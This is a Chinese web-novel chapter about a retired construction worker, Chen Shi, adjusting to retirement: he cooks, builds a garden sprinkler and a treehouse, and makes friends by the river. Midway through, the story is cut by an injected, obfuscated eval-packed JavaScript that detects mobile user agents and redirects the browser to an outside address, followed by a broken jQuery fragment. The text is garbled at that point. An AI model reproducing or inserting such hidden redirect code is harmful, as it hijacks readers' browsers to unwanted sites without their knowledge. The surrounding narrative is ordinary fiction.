2030年3月1日，陈实退休的第一天。


    清晨六点，他准时醒了。这是几十年的习惯——工地上七点开工，他得提前一小时到。就算后来不做施工员了，这个点也雷打不动。


    他睁开眼睛，看着天花板。旁边的苏惠还在睡，呼吸均匀。


    他轻轻起身，穿好衣服，走到客厅。


    习惯性地想穿工装，手伸出去，愣住了。


    工装不在。


    他站在那里，看着衣柜里那排整整齐齐的衣服——深蓝色的工装，洗得发白了，叠得整整齐齐，放在最里面。


    昨天，他最后一次穿着它，去公司办完退休手续。回来换下来，苏惠帮他洗了，叠好，收进去了。


    他站了一会儿，然后拿了件普通的外套穿上。


    走到阳台上，天还没完全亮，东边有一点点光。柳江在晨雾中若隐若现，江面上的船亮着灯，慢慢移动。远处的工地静悄悄的，塔吊停在那里，像睡着了的巨人。


    他看着那个方向，看了很久。


    那是他干了三十四年的地方。


    ---


    苏惠起来的时候，陈实已经坐在沙发上发呆了一个小时。


    “怎么起这么早？”她打着哈欠走过来。


    陈实说：“习惯了。”


    苏惠看看他，没说话，去厨房做早饭。


    吃饭的时候，陈实吃得很慢。苏惠看着他，问：“今天有什么打算？”


    陈实想了想：“不知道。”


    “去江边走走？”


    “嗯。”


    吃完饭，他换鞋出门。走到楼下，习惯性地往停车场方向走——他开了多年的五菱SPARK，实在开不动了，早就换成了一辆电动车。


    但他今天不想开车。他想走。


    走到江边，他在长椅上坐下。早上的江边人不多，有几个晨跑的人从身边经过，有几个老人在打太极。他看着江水，看着那些跑步的人，看着那些打太极的老人，忽然觉得自己不属于这里。


    他应该站在工地上，戴着安全帽，拿着图纸，和工人们讨论今天的活怎么干。他应该在办公室里，对着电脑，看那些永远看不完的文件。他应该在现场，处理那些永远处理不完的问题。


    而不是坐在这里，看着江水发呆。


    他坐了一个小时，然后站起来，往回走。


    路过菜市场的时候，他站住了。


    苏惠说过，让他退休后负责买菜。他走进去，在菜摊前面转了一圈，不知道该买什么。


    卖菜的大姐问：“大哥，想买什么？”


    他想了想，说：“随便。”


    大姐笑了：“随便怎么买？家里几口人？”


    “两口。”


    “那买两个西红柿，两个土豆，再来把青菜，够了。”


    他点点头，照着买了。


    回家的路上，他拎着那袋菜，忽然觉得好笑。他盖过几十栋楼，修过无数个工程，现在被两个西红柿难住了。


    ---


    中午，苏惠去学校了——她还没退休，还要再教两年。


    陈实一个人在家，看着那袋菜，决定自己做饭。


    他把西红柿洗了，切了。切得大小不一，有的厚有的薄。他把土豆削了皮，切了。切得粗的粗细的细，有的像条有的像块。


    开火，倒油，把菜扔进去。锅里噼里啪啦响，他往后退了一步，然后拿起铲子翻。


    翻了几下，他想起忘了放盐。放盐。又想起忘了放蒜。放蒜。又想起应该先炒鸡蛋。但鸡蛋还没打。


    他把火关了，站在那里，看着锅里乱七八糟的东西。


    然后笑了。


    他想起苏惠第一次去工地看他，他说“工地上的人不看你说了什么，只看你做了什么”。现在他看着这锅菜，心想，这要是让工人们看见，得笑掉大牙。


    他把锅里的东西倒掉，重新开始。


    这次，他先打了鸡蛋，炒了盛出来。再炒西红柿，炒出汁，再把鸡蛋倒进去。放盐，放糖，翻炒几下。


    出锅。


    他尝了一口。


    还行。


    他把菜端上桌，拍了张照片，发给苏惠。


    苏惠回了一个笑脸，还有一句话：“不错，有进步空间。”


    他看着那条消息，笑了笑。


    ---


    下午，他又去了江边。


    这次他带了一本书——陈晨寄回来的，讲计算机发展的。他看不太懂，但翻着翻着，想起儿子小时候坐在电脑前敲代码的样子。


    阳光照在江面上，波光粼粼。他靠在长椅上，把书放在旁边，就那么看着江水。


    旁边来了个老人，七十多岁的样子，在他旁边坐下。


    “晒太阳呢？”老人问。


    “嗯。”


    老人也看着江水，沉默了一会儿，然后说：“以前我在钢厂干，天天看这江。退休以后，还是天天看。看了十几年了。”


    陈实转头看他。


    老人说：“刚开始不习惯，觉得一天怎么那么长。后来习惯了，觉得一天怎么那么短。”


    陈实没说话。


    老人站起来，拍拍裤子：“慢慢就习惯了。你还年轻。”


    他走了。陈实看着他的背影，想了很久。


    ---


    傍晚，陈晨打电话来。


    “爸，退休第一天怎么样？”


    陈实想了想，说：“还行。”


    陈晨笑了：“还行是什么意思？不习惯吧？”


    陈实没说话。


    陈晨说：“爸，你干了一辈子，也该歇歇了。我在这边挺好的，你别担心。”


    陈实说：“我知道。”


    陈晨又说：“妈说你今天做饭了？味道怎么样？”


    陈实说：“能吃。”


    陈晨笑出声来：“能吃就行。慢慢学。”


    挂断电话，陈实坐在沙发上，看着窗外。


    暮色渐浓，江边的灯亮起来，一串一串的。他想起了很多年前，第一次带苏惠去工地那天，她站在七楼，风吹起她的裙摆。想起陈晨出生那天，他抱着那个皱巴巴的小东西，手抖得不行。想起加油站竣工的傍晚，一个人站在罩棚底下，看夕阳。想起爆破事故后的那个深夜，父亲在电话里说的话。


    那些事，都过去了。


    现在他坐在这里，等着苏惠回家，等她回来吃饭。


    ---


    第二天，陈实在小区里转悠。


    小区有个小花园，种着些花花草草，但长得不太好。他蹲下来看了看，土干了，该浇水了。但浇水的人好像没来。


    他找到物业，问怎么回事。物业说，原来浇水的师傅病了，请了长假，暂时没人接。


    陈实想了想，说：“我来吧。”


    物业的人看着他，有些意外：“您是……业主？”


    “嗯。刚退休，没事干。”


    物业的人笑了：“那太好了。有工资的，虽然不多。”


    陈实说：“不用工资。闲着也是闲着。”


    从那天起，陈实开始负责小区的花园。


    他先看了看原来的灌溉方式——一根水管，一个人拿着，到处浇。费水，费工，还浇不均匀。


    他想起了工地上的灌溉系统。那套东西他熟。


    他找了些废材料——几根旧水管，几个喷头，一个旧水泵。自己动手，接起来，调试，做了一套简单的自动喷灌系统。


    打开开关，水均匀地洒在花园里，像下雨一样。


    物业的人来看，惊讶了：“陈师傅，您还会这个？”


    陈实说：“以前工地上干过。”


    旁边几个晒太阳的老人也围过来，七嘴八舌地夸。有人说：“这下好了，花园有救了。”有人说：“陈师傅，您还懂什么？”


    陈实笑了笑，没说话。


    但那天晚上回家，他心里没那么空了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334201|198899||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ---


    有一天，苏惠说起一件事。


    “隔壁老王的孙子，想要个树屋。老王说不会做，问我你会不会。”


    陈实愣了一下：“树屋？”


    “就是树上搭个小房子，孩子玩的那种。”


    陈实想了想，说：“可以试试。”


    他去看那棵树——一棵老榕树，树干粗壮，枝丫茂密。他在树下转了几圈，量了量尺寸，画了张草图。


    然后去工地找了些废木料——都是干净的，没钉子的，安全的。


    他开始做。


    做了一周，树屋搭好了。不大，就两三个平方，能坐两三个孩子。有窗户，有门，有小小的阳台。孩子们爬上去，高兴得又叫又跳。


    老王的孙子拉着他的手，说：“爷爷你真厉害！”


    陈实愣了一下。叫他爷爷的人不多，陈晨小时候有人叫过，后来就听得少了。


    他蹲下来，看着那个孩子的眼睛。


    “喜欢吗？”


    “喜欢！”


    他笑了。


    那天晚上，他坐在阳台上，看着远处的江。苏惠走过来，在他旁边坐下。


    “今天开心了？”她问。


    陈实想了想，说：“嗯。”


    苏惠笑了：“我就说嘛，你闲不住。”


    陈实没说话。但他在想，也许退休不是结束，是另一种开始。不用再盖那些高楼大厦，但可以盖点小的——花园的灌溉系统，孩子的树屋，社区需要的东西。


    也是建造。


    ---


    又过了一段时间，陈实在江边认识了几个老人。


    都是退休的，有钢厂退休的，有电厂退休的，有学校退休的。每天早上，他们在江边打太极、下棋、聊天。聊国家大事，聊家长里短，聊孙子孙女。


    陈实开始加入他们。


    一开始只是听，后来也聊。有人问他以前干什么的，他说搞建筑的。有人问他盖过什么，他说盖过很多，记不清了。有人问他退休习惯不习惯，他说刚开始不习惯，现在好点了。


    他们都笑了。说刚退休都这样，慢慢就好了。


    有一天，一个老人忽然问他：“你盖的那些楼，现在还在吗？”


    陈实想了想：“大部分在。”


    老人点点头：“那就好。能留下的东西，就是好的。”


    陈实愣了一下。


    他想起父亲说过的话：做的，都会留下来。


    那些楼还在。那些桥还在。那个加油站还在。那个礼堂还在。那个工业遗址公园也还在。


    他做过的那些事，都还在。


    他看着江水，忽然觉得，没那么空了。


    ---


    傍晚，陈实回家。


    苏惠已经在做饭了，香味从厨房飘出来。他换了鞋，走到厨房门口，站在那儿看她炒菜。


    苏惠头也不回：“今天怎么样？”


    陈实说：“还行。在江边认识几个人。”


    “聊什么了？”


    “瞎聊。退休的事。”


    苏惠笑了，把菜盛出来，端到桌上。


    两个人坐下来吃饭。窗外，暮色渐浓，江边的灯亮起来。


    陈实忽然说：“苏惠。”


    “嗯？”


    “谢谢你。”


    苏惠愣了一下：“谢什么？”


    陈实想了想，说：“谢你这么多年，一直在这儿。”


    苏惠看着他，眼睛有些湿。


    “傻。”她说。


    然后夹了一筷子菜，放到他碗里。


    “吃饭。”


    陈实低头吃饭。


    窗外的江水流着，不息地向前。城里的灯亮着，温暖地亮着。


    他知道，明天还会去江边，还会和那些老人聊天，还会想新的东西来建造。


    这就是退休的日子。


    不轰轰烈烈，但很踏实。


    就像他这个人一样。